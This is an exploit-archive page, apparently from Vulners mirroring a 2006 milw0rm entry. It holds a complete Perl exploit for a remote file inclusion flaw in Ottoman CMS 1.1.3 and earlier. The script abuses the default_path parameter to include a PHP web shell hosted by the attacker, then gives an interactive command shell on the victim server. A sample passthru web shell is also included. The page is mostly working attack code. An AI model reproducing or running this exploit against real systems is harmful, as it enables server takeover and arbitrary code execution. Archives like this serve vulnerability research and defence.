Lucene search
K

Ottoman CMS <= 1.1.3 (default_path) Remote File Inclusion Exploit

🗓️ 09 Jul 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Ottoman CMS <= 1.1.3 Remote File Inclusion Exploit for version 1.1.3 and prior. Allows execution of arbitrary PHP code by including files from local or external resources. Exploitation requires 'register_globals' to be ON

Code

                                                #!/usr/bin/perl
use IO::Socket;


################################################################################
#                                                                              #
#         Jacek Wlodarczyk (j4ck) - jacekwlo[at]gmail[dot]com                  #
#                                                                              #
################################################################################




#Title:       Ottoman CMS &lt;= 1.1.3 Remote File Inclusion Exploit
#Application: Ottoman Content Management System
#Version:     1.1.3 and prior
#Url:         http://www.lowter.com/p/ottoman



#Affected software description:

#Input passed to the &quot;default_path&quot; parameter in &quot;index.php&quot;, &quot;error.php&quot;, &quot;classes/main_class.php&quot;, &quot;format_css.php&quot;, &quot;js.php&quot;,
#and &quot;rss.php&quot; is not properly sanitized before being used to include files.
#Vulnerable scripts not properly sanitizing user-supplied input to the 'POST' and 'COOKIE' variables.
#This can be exploited to execute arbitrary PHP code by including files from local or external resources.
#Exploitation requires turn ON &quot;register_globals&quot;

#PoC Exploit (POST method):



if (@ARGV ne 4)
  {
    &amp;usage;
  }


sub usage()
{
  print &quot;\r\n (c) Jacek Wlodarczyk (j4ck)\r\n\r\n&quot;;
  print &quot;- Exploit for Ottoman CMS &lt;= 1.1.3\r\n\r\n&quot;;
  print &quot;- Usage: $0 &lt;target&gt; &lt;script location&gt; &lt;shell location&gt; &lt;shell variable&gt;\r\n&quot;;
  print &quot;- &lt;target&gt;             -&gt; Victim's target eg: http://www.victim.com\r\n&quot;;
  print &quot;- &lt;script location&gt;    -&gt; Path to script  eg: /ottoman/error.php\r\n&quot;;
  print &quot;- &lt;cmd shell location&gt; -&gt; eg: http://www.site.com/sh_dir/\r\n&quot;;
  print &quot;- &lt;cmd shell variable&gt; -&gt; eg: cmd\r\n\r\n&quot;;
  print &quot;- Eg: http://127.0.0.1 /ottoman_v1.1.3/index.php http://10.0.0.10/sh_dir/ cmd\r\n\r\n&quot;;
  exit();
}




$HOST     = $ARGV[0];
$DIR      = $ARGV[1];
$INC_FILE = $ARGV[2];
$CMD      = $ARGV[3];
$COMMAND  = '';

print &quot;\r\nATTACKING : &quot;.$HOST.$DIR.&quot;\r\n\r\n&quot;;
$HOST =~ s/(http:\/\/)//;
       

while()
  {

    print &quot;[shell] \$&quot;;
    chomp($COMMAND = &lt;STDIN&gt;);
    if ($COMMAND eq &quot;q&quot;)
      {
        exit;
      }

    if (!$COMMAND)
      {
        print &quot;\nPlease Enter a Command\n\n&quot;;
        next;
      }


    $data=&quot;default_path=&quot;.$INC_FILE.&quot;&amp;&quot;.$CMD.&quot;=&quot;.$COMMAND;
    $post = IO::Socket::INET-&gt;new( Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; &quot;$HOST&quot;, PeerPort =&gt; &quot;80&quot;) || die &quot;Error 404\r\n\r\n&quot;;

    print $post &quot;POST &quot;.$DIR.&quot; HTTP/1.1\r\n&quot;;
    print $post &quot;Host: &quot;.$HOST.&quot;\r\n&quot;;
    print $post &quot;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\r\n&quot;;
    print $post &quot;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&quot;;
    print $post &quot;Accept-Language: en-us;q=0.7,en;q=0.3\r\n&quot;;
    print $post &quot;Accept-Encoding: gzip,deflate\r\n&quot;;
    print $post &quot;Connection: Keep-Alive\r\n&quot;;
    print $post &quot;Keep-Alive: 300\r\n&quot;;
    print $post &quot;Cache-Control: no-cache\r\n&quot;;
    print $post &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    print $post &quot;Content-Length: &quot;.length($data).&quot;\r\n&quot;;
    print $post &quot;Connection: close\r\n\r\n&quot;;
    print $post $data.&quot;\r\n&quot;;





    while ($ans = &lt;$post&gt;)
      {
        if ($ans =~ /404/ )
          {
            printf &quot;\n\nFile &quot;.$ARGV[1].&quot; no exists.\r\n\r\n&quot;;
            exit;
          }
        printf $ans;
      }

  }
exit;


#Shell example:

#config.php
#------cut---------------
#&lt;?
#passthru($_POST['cmd']);
#?&gt;
#------cut---------------

# milw0rm.com [2006-07-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation